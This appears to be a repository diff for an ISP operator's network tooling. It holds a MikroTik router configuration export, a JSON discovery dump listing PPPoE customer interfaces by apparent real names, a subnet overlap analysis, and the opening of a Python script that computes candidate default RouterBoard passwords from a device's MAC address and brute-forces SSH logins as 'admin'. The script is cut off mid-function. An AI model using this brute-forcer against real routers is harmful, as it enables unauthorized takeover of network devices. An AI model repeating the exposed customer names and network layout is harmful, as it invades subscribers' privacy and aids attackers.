add address=10.0.17.51 mac-address=40:F5:20:C5:9B:EE server=server1
add address=10.0.16.5 client-id=\
ff:ef:a8:c2:c6:0:1:0:1:31:4c:1f:7:b0:dc:ef:a8:c2:c6 mac-address=\
B0:DC:EF:A8:C2:C6 server=server1
add address=10.0.17.22 mac-address=EC:94:CB:AA:56:A3 server=server1
add address=10.0.15.23 client-id=1:36:4a:9d:b7:36:fc mac-address=\
36:4A:9D:B7:36:FC server=servers
add address=10.0.15.24 client-id=\
ff:23:7c:24:3e:0:2:0:0:ab:11:ad:b5:e:a0:e1:d9:51:1a mac-address=\
F6:86:CC:17:A7:F9 server=servers
add address=10.0.17.42 mac-address=34:AB:95:12:8B:DB server=server1
/ip dhcp-server network
add address=10.0.8.0/21 domain=mcintire.me gateway=10.0.15.254
add address=10.0.16.0/22 dns-server=10.0.19.250,9.9.9.9 domain=w5isp.com \
gateway=10.0.19.254
/ip dns
set servers=9.9.9.9,149.112.112.112
/ip dns static
add address=192.168.88.1 comment=defconf name=router.lan type=A
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
Lutron-01f3a316.w5isp.com ttl=15m type=A
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
Lutron-01f3a316 ttl=15m type=A
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
homeassistant.w5isp.com ttl=15m type=A
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
homeassistant ttl=15m type=A
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
Tower.w5isp.com ttl=15m type=A
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
Tower ttl=15m type=A
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
name=10g-switch-house.w5isp.com ttl=15m type=A
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
name=10g-switch-house ttl=15m type=A
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
Living-Room.w5isp.com ttl=15m type=A
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
Living-Room ttl=15m type=A
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
name="Office 2.5G Switch.w5isp.com" ttl=15m type=A
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
name="Office 2.5G Switch" ttl=15m type=A
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
HallwayAP.w5isp.com ttl=15m type=A
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
LivingRoom.w5isp.com ttl=15m type=A
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
HallwayAP ttl=15m type=A
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
LivingRoom ttl=15m type=A
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
OutsideNE.w5isp.com ttl=15m type=A
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
OutsideNE ttl=15m type=A
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
HousePoESwitch.w5isp.com ttl=15m type=A
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
HousePoESwitch ttl=15m type=A
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
driveway.w5isp.com ttl=15m type=A
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
driveway ttl=15m type=A
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
Garins-MBP.w5isp.com ttl=15m type=A
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
Garins-MBP ttl=15m type=A
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
Apple-Watch.w5isp.com ttl=15m type=A
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
Apple-Watch ttl=15m type=A
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
gmcparallels.w5isp.com ttl=15m type=A
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
gmcparallels ttl=15m type=A
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
mbp14.w5isp.com ttl=15m type=A
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
mbp14 ttl=15m type=A
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
Office.w5isp.com ttl=15m type=A
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
Office ttl=15m type=A
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
openspot2.w5isp.com ttl=15m type=A
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
openspot2 ttl=15m type=A
/ip firewall address-list
add address=10.0.16.0/22 list=local
add address=185.90.196.0/22 list=starlink
add address=10.0.16.78 disabled=yes list=iot-blocked
add address=10.0.16.80 disabled=yes list=iot-blocked
add address=81.171.92.0/23 list=nzb
add address=82.68.15.22 list=nzb
add address=85.12.62.0/24 list=nzb
add address=10.0.17.189 list=iot-blocked
add address=news.eweka.nl list=eweka-tmo
add address=185.90.196.0/22 comment="eweka range" list=eweka-tmo
add address=81.171.92.0/23 comment="eweka range" list=eweka-tmo
/ip firewall filter
add action=accept chain=input dst-address=0.0.0.0 protocol=udp src-address=\
104.238.146.79
add action=accept chain=forward dst-port=25565 in-interface=\
ether5-vntx-static log=yes protocol=tcp
add action=accept chain=forward dst-port=25565 in-interface=\
ether5-vntx-static log=yes protocol=udp
add action=drop chain=forward out-interface=ether5-vntx-static \
src-address-list=iot-blocked
add action=drop chain=forward out-interface=ether6-tmobile src-address-list=\
iot-blocked
add action=drop chain=forward out-interface=all-ppp src-address-list=\
iot-blocked
add action=drop chain=forward out-interface=ether7-starlink src-address-list=\
iot-blocked
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=reject chain=forward comment="Block roblox.com" disabled=yes \
protocol=tcp reject-with=icmp-host-unreachable src-address-list=local \
tls-host=*.roblox.com
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=accept chain=input comment=\
"defconf: accept to local loopback (for CAPsMAN)" dst-address=127.0.0.1
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
ipsec-policy=out,ipsec
add action=accept chain=forward comment="no fasttrack for eweka" \
connection-mark=eweka-conn
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
connection-state=established,related
add action=accept chain=forward comment=\
"defconf: accept established,related, untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
connection-state=new in-interface-list=WAN
add action=drop chain=input disabled=yes dst-port=53 in-interface=ether8 \
protocol=udp src-address=!10.0.16.0/22
/ip firewall mangle
add action=change-mss chain=forward comment="MSS clamp VNTX" new-mss=1400 \
out-interface=ether5-vntx-static protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp VNTX inbound" \
in-interface=ether5-vntx-static new-mss=1400 protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp TMO out" new-mss=1460 \
out-interface=ether6-tmobile protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp TMO in" in-interface=\
ether6-tmobile new-mss=1460 protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp Starlink out" new-mss=\
1460 out-interface=ether7-starlink protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp Starlink in" \
in-interface=ether7-starlink new-mss=1460 protocol=tcp tcp-flags=syn
add action=mark-connection chain=prerouting comment="eweka -> tmo (conn)" \
dst-address-list=eweka-tmo new-connection-mark=eweka-conn
add action=mark-routing chain=prerouting comment="eweka -> tmo (route)" \
connection-mark=eweka-conn new-routing-mark=tmo passthrough=no
/ip firewall nat
add action=src-nat chain=srcnat connection-mark=plex-out disabled=yes \
out-interface=*14 src-address=10.0.16.1 to-addresses=204.110.191.1
add action=src-nat chain=srcnat disabled=yes src-address=10.0.16.5 \
to-addresses=204.110.191.1
add action=src-nat chain=srcnat out-interface=ether5-vntx-static src-address=\
10.0.16.1 to-addresses=204.110.191.1
add action=masquerade chain=srcnat disabled=yes out-interface=all-ppp \
src-address=10.0.16.0/22
add action=masquerade chain=srcnat out-interface=ether6-tmobile \
src-address-list=!iot-blocked
add action=masquerade chain=srcnat out-interface=ether5-vntx-static \
to-addresses=204.110.191.1
add action=dst-nat chain=dstnat comment=channels dst-address=204.110.191.1 \
dst-port=8089 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.1 to-ports=8089
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
dst-port=32400 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.1 to-ports=32400
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
dst-port=58732 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.184 to-ports=58732
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8096 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
to-ports=8096
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=tcp \
to-addresses=10.0.16.1 to-ports=25565
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=udp \
to-addresses=10.0.16.1 to-ports=25565
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8920 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
to-ports=8920
add action=masquerade chain=srcnat disabled=yes src-address=172.17.0.0/24
add action=dst-nat chain=dstnat disabled=yes dst-address=10.0.19.254 \
dst-port=8080 protocol=tcp to-addresses=172.17.0.2 to-ports=80
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=51413 protocol=tcp to-addresses=10.0.16.1 to-ports=51413
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=51413 protocol=udp to-addresses=10.0.16.1 to-ports=51413
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8096 protocol=tcp to-addresses=10.0.16.1 to-ports=8096
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8920 protocol=tcp to-addresses=10.0.16.1 to-ports=8920
add action=masquerade chain=srcnat src-address=172.17.0.0/24
add action=masquerade chain=srcnat out-interface=ether7-starlink
/ip proxy
set port=8198 src-address=10.0.19.254
/ip route
add disabled=yes distance=1 dst-address=100.64.0.0/10 gateway=172.17.0.2 \
pref-src="" routing-table=main scope=30 target-scope=10
add comment="eweka > starlink" disabled=yes distance=1 dst-address=\
185.90.196.0/22 gateway=192.168.1.1 pref-src="" routing-table=main scope=\
30 target-scope=10
add comment="eweka > tmo" disabled=yes distance=1 dst-address=81.171.92.0/23 \
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
target-scope=10
add comment="newshosting > tmo" disabled=no distance=1 dst-address=\
85.12.62.0/24 gateway=192.168.12.1 pref-src="" routing-table=main scope=\
30 target-scope=10
add comment="eweka > tmo" disabled=yes distance=1 dst-address=185.90.196.0/22 \
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
target-scope=10
add disabled=no distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
pref-src="" routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=204.110.188.0/22 gateway=\
204.110.191.30 routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=82.68.15.22/32 gateway=204.110.191.30 \
routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=34.174.59.248/32 gateway=\
204.110.191.30 routing-table=main scope=30 target-scope=10
add disabled=no dst-address=204.110.188.0/22 gateway=204.110.191.30 \
routing-table=main
add disabled=no dst-address=100.64.0.0/16 gateway=204.110.191.30 \
routing-table=main
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.2 routing-table=\
main
add comment=wigle.net disabled=no distance=1 dst-address=54.70.85.50/32 \
gateway=204.110.191.30 routing-table=main scope=30 target-scope=10
add dst-address=100.64.0.0/10 gateway=172.17.0.2
add check-gateway=ping comment="TMO internet probe" dst-address=4.2.2.1/32 \
gateway=192.168.12.1 scope=10
add check-gateway=ping comment="VNTX internet probe" dst-address=4.2.2.2/32 \
gateway=204.110.191.30 scope=10
add check-gateway=ping comment="Starlink internet probe" dst-address=\
4.2.2.3/32 gateway=192.168.1.1 scope=10
add comment="Default via TMO (primary)" distance=1 dst-address=0.0.0.0/0 \
gateway=4.2.2.1 target-scope=11
add comment="Default via VNTX (secondary)" distance=2 dst-address=0.0.0.0/0 \
gateway=4.2.2.2 target-scope=11
add comment="Default via Starlink (last resort)" distance=3 dst-address=\
0.0.0.0/0 gateway=4.2.2.3 target-scope=11
add comment="tmo table default" dst-address=0.0.0.0/0 gateway=192.168.12.1 \
routing-table=tmo
/ipv6 route
add distance=1 dst-address=2000::/3 gateway=2001:470:1f0e:299::1
/ip service
set ftp disabled=yes
set telnet disabled=yes
set www address=10.0.16.0/24 port=1080
set api disabled=yes
set api-ssl address=10.0.16.0/22 certificate=api-ssl-cert
/ip smb shares
set [ find default=yes ] disabled=no
/ip upnp
set enabled=yes
/ip upnp interfaces
add disabled=yes interface=ether6-tmobile type=external
add interface=*14 type=external
add interface=bridge type=internal
/ipv6 address
add address=2001:470:1f0e:299::2 advertise=no disabled=yes interface=*10
add address=2001:470:ba50::/48 advertise=no disabled=yes interface=bridge
add address=2001:470:1f0f:29a:: disabled=yes interface=bridge
/ipv6 dhcp-client
add disabled=yes interface=ether6-tmobile pool-name=tmo pool-prefix-length=64 \
request=address
add interface=ether7-starlink pool-name=starlink pool-prefix-length=64 \
request=address,prefix
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/routing rule
add action=lookup-only-in-table disabled=no dst-address=0.0.0.0/0 \
src-address=10.0.16.1 table=*400
/snmp
set contact="Graham McIntire" enabled=yes location=Verona
/system clock
set time-zone-name=America/Chicago
/system identity
set name=graham
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
/system routerboard settings
set auto-upgrade=yes
/tool e-mail
set certificate-verification=no from=mikrotik@vntx.net port=2525 server=\
mail.smtp2go.com tls=yes user=vntxmikrotik
/tool graphing interface
add allow-address=10.0.16.0/24
/tool graphing queue
add allow-address=10.0.16.0/24
/tool graphing resource
add allow-address=10.0.16.0/24
/tool mac-server
set allowed-interface-list=LAN
/tool mac-server mac-winbox
set allowed-interface-list=LAN

View file

@ -0,0 +1,518 @@
{
"host": "10.254.254.109",
"identity": null,
"timestamp": "2025-10-04T11:01:53.314352",
"subnets": [
{
"address": "10.254.254.109/32",
"network": "10.254.254.109",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.105/29",
"network": "10.250.1.104",
"interface": "ether1-newhope",
"comment": "",
"dynamic": false
},
{
"address": "10.10.159.254/20",
"network": "10.10.144.0",
"interface": "management",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.222/27",
"network": "204.110.188.192",
"interface": "lowrycrossing",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.201/29",
"network": "10.250.1.200",
"interface": "vlan_30_sfpplus1_380",
"comment": "",
"dynamic": false
},
{
"address": "100.64.159.254/20",
"network": "100.64.144.0",
"interface": "lowrycrossing",
"comment": "",
"dynamic": false
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.202",
"interface": "<pppoe-coyungemach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.117",
"interface": "<pppoe-jenniferdunaway>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.122",
"interface": "<pppoe-williambowland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.114",
"interface": "<pppoe-fredheckel>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.123",
"interface": "<pppoe-timfisher>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.111",
"interface": "<pppoe-dorisavalos>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.118",
"interface": "<pppoe-toniyoung>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.127",
"interface": "<pppoe-konradwoelffer>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.197",
"interface": "<pppoe-elizabethchristian>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.120",
"interface": "<pppoe-cynthiasandlin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.119",
"interface": "<pppoe-thomasgraham>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.200",
"interface": "<pppoe-ronberger>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.125",
"interface": "<pppoe-abbieandrews>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.126",
"interface": "<pppoe-helenlumpkin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.116",
"interface": "<pppoe-susanlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.121",
"interface": "<pppoe-lanaygaunce>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.196",
"interface": "<pppoe-janiscable>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.115",
"interface": "<pppoe-nhumorrison>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.124",
"interface": "<pppoe-terrymiesen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.107",
"interface": "<pppoe-nicholasterry>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.199",
"interface": "<pppoe-leonardlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.113",
"interface": "<pppoe-mattbud>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.112",
"interface": "<pppoe-georginacovarrubias>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether1-newhope",
"type": "ether",
"mac": "64:D1:54:D3:E2:21",
"comment": "",
"mtu": 1500
},
{
"name": "ether2 Lowry N",
"type": "ether",
"mac": "64:D1:54:D3:E2:22",
"comment": "",
"mtu": 1500
},
{
"name": "ether3",
"type": "ether",
"mac": "64:D1:54:D3:E2:23",
"comment": "",
"mtu": 1500
},
{
"name": "ether4",
"type": "ether",
"mac": "64:D1:54:D3:E2:24",
"comment": "",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "64:D1:54:D3:E2:25",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-abbieandrews>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-coyungemach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-cynthiasandlin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dorisavalos>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elizabethchristian>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-fredheckel>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-georginacovarrubias>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-helenlumpkin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-janiscable>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferdunaway>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-konradwoelffer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-lanaygaunce>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-leonardlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-mattbud>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nhumorrison>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nicholasterry>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-ronberger>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-susanlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-terrymiesen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-thomasgraham>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timfisher>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-toniyoung>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-williambowland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "FA:36:F1:03:59:3F",
"comment": "",
"mtu": 1500
},
{
"name": "lowrycrossing",
"type": "bridge",
"mac": "64:D1:54:D3:E2:1F",
"comment": "",
"mtu": 1500
},
{
"name": "management",
"type": "bridge",
"mac": "64:D1:54:D3:E2:1F",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan_10_ether2",
"type": "vlan",
"mac": "64:D1:54:D3:E2:22",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether3",
"type": "vlan",
"mac": "64:D1:54:D3:E2:23",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether4",
"type": "vlan",
"mac": "64:D1:54:D3:E2:24",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether5",
"type": "vlan",
"mac": "64:D1:54:D3:E2:25",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan_10_ether2",
"vlan_id": 10,
"interface": "ether2 Lowry N"
},
{
"name": "vlan_10_ether3",
"vlan_id": 10,
"interface": "ether3"
},
{
"name": "vlan_10_ether4",
"vlan_id": 10,
"interface": "ether4"
},
{
"name": "vlan_10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan_10_ether6",
"vlan_id": 10,
"interface": "ether6"
},
{
"name": "vlan_10_ether7",
"vlan_id": 10,
"interface": "ether7"
},
{
"name": "vlan_10_sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
},
{
"name": "vlan_20_sfpplus1_newhope",
"vlan_id": 20,
"interface": "sfp-sfpplus1"
},
{
"name": "vlan_30_sfpplus1_380",
"vlan_id": 30,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "lowrycrossing",
"interface": "lowrycrossing"
}
],
"routes": []
}

View file

@ -0,0 +1,82 @@
# Management Subnet Overlap Analysis
## Summary of Management Subnets by Site
### 1. **Climax** (10.254.254.102)
- **Management Subnet**: 10.10.31.254/20
- **Network**: 10.10.16.0/20
- **IP Range**: 10.10.16.0 - 10.10.31.255
- **Interface**: mgmt
### 2. **Culleoka** (10.254.254.104)
- **Management Subnet**: 10.10.111.254/20
- **Network**: 10.10.96.0/20
- **IP Range**: 10.10.96.0 - 10.10.111.255
- **Interface**: vlan10_ether2
### 3. **494 Site** (10.254.254.111)
- **Management Subnet**: 10.10.175.254/20
- **Network**: 10.10.160.0/20
- **IP Range**: 10.10.160.0 - 10.10.175.255
- **Interface**: management
### 4. **982 Site** (10.254.254.110)
- **Management Subnet**: 10.10.63.254/20
- **Network**: 10.10.48.0/20
- **IP Range**: 10.10.48.0 - 10.10.63.255
- **Interface**: mgmt
### 5. **New Hope** (10.254.254.108)
- **Management Subnet**: 10.10.143.254/20
- **Network**: 10.10.128.0/20
- **IP Range**: 10.10.128.0 - 10.10.143.255
- **Interface**: bridge_cpe_mgmt
### 6. **Lowry Crossing** (10.254.254.109)
- **Management Subnet**: 10.10.159.254/20
- **Network**: 10.10.144.0/20
- **IP Range**: 10.10.144.0 - 10.10.159.255
- **Interface**: management
### 7. **380 Core** (10.254.254.253)
- **Management Subnet**: 10.10.79.254/20
- **Network**: 10.10.64.0/20
- **IP Range**: 10.10.64.0 - 10.10.79.255
- **Interface**: vlan10_combo1
### 8. **380 Edge** (10.254.254.254)
- **No management subnet in the 10.10.x.x range**
## Overlap Analysis
### ✅ **NO OVERLAPS DETECTED**
All sites use different /20 management subnets within the 10.10.0.0/16 range:
1. **10.10.16.0/20** - Climax
2. **10.10.48.0/20** - 982 Site
3. **10.10.64.0/20** - 380 Core
4. **10.10.96.0/20** - Culleoka
5. **10.10.128.0/20** - New Hope
6. **10.10.144.0/20** - Lowry Crossing
7. **10.10.160.0/20** - 494 Site
## Key Observations
1. **Consistent Subnet Size**: All management networks use /20 subnets (4,096 addresses each)
2. **Sequential Allocation**: The subnets appear to be allocated sequentially within the 10.10.0.0/16 space
3. **Common VLAN**: Most sites use VLAN 10 for management traffic
4. **No Conflicts**: Each site has its own unique management subnet with no overlaps
## Available Management Subnets
The following /20 subnets within 10.10.0.0/16 are still available for future sites:
- 10.10.0.0/20 (10.10.0.0 - 10.10.15.255)
- 10.10.32.0/20 (10.10.32.0 - 10.10.47.255)
- 10.10.80.0/20 (10.10.80.0 - 10.10.95.255)
- 10.10.112.0/20 (10.10.112.0 - 10.10.127.255)
- 10.10.176.0/20 (10.10.176.0 - 10.10.191.255)
- 10.10.192.0/20 (10.10.192.0 - 10.10.207.255)
- 10.10.208.0/20 (10.10.208.0 - 10.10.223.255)
- 10.10.224.0/20 (10.10.224.0 - 10.10.239.255)
- 10.10.240.0/20 (10.10.240.0 - 10.10.255.255)

248
mikrotik-brutefast.py Normal file
View file

@ -0,0 +1,248 @@
"""
MikroTik RouterBoard Targeted Password Brute Force
Based on reverse engineered algorithm analysis:
- Only tries 256 possible passwords (one per MAC[0] value)
- Assumes 0xD0 and 0xFF are fixed constants
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
- Takes ~2-5 minutes instead of thousands of years!
Algorithm:
PWD[0] = MAC[0] XOR 0xD0
PWD[1] = MAC[1]
PWD[2] = NOT(MAC[2])
PWD[3] = 0xFF
USAGE: Only use on devices you own or have authorization to access.
"""
import sys
import time
import argparse
class MikroTikTargetedBruteForce:
"""Targeted brute force for MikroTik passwords."""
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
"""
Initialize the targeted brute force.
Args:
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
host (str): IP address of device
port (int): Port (22 for SSH, 80 for HTTP)
use_http (bool): Use HTTP instead of SSH
timeout (int): Connection timeout in seconds
"""
self.mac_address = mac_address.upper()
self.host = host
self.port = port
self.use_http = use_http
self.timeout = timeout
self.username = "admin"
self.attempts = 0
self.found_password = None
def parse_mac(self, mac_string):
"""Parse MAC address string into bytes."""
parts = mac_string.upper().split(":")
if len(parts) != 6:
raise ValueError(f"Invalid MAC address: {mac_string}")
try:
return [int(part, 16) for part in parts]
except ValueError:
raise ValueError(f"Invalid MAC address format: {mac_string}")
def generate_password_for_mac_byte_0(self, mac_byte_0):
"""
Generate password for a specific MAC[0] value.
Args:
mac_byte_0 (int): Value for MAC[0] (0-255)
Returns:
str: Password in format "xxxx-xxxx"
"""
# Use actual MAC bytes for 1-3
mac_bytes = self.parse_mac(self.mac_address)
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
# But vary b0 for brute forcing
pwd_byte_0 = mac_byte_0 ^ 0xD0
pwd_byte_1 = b1
pwd_byte_2 = (~b2) & 0xFF # NOT operation
pwd_byte_3 = 0xFF
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
return f"{hex_string[:4]}-{hex_string[4:]}"
def try_password_ssh(self, password):
"""Try connecting via SSH."""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
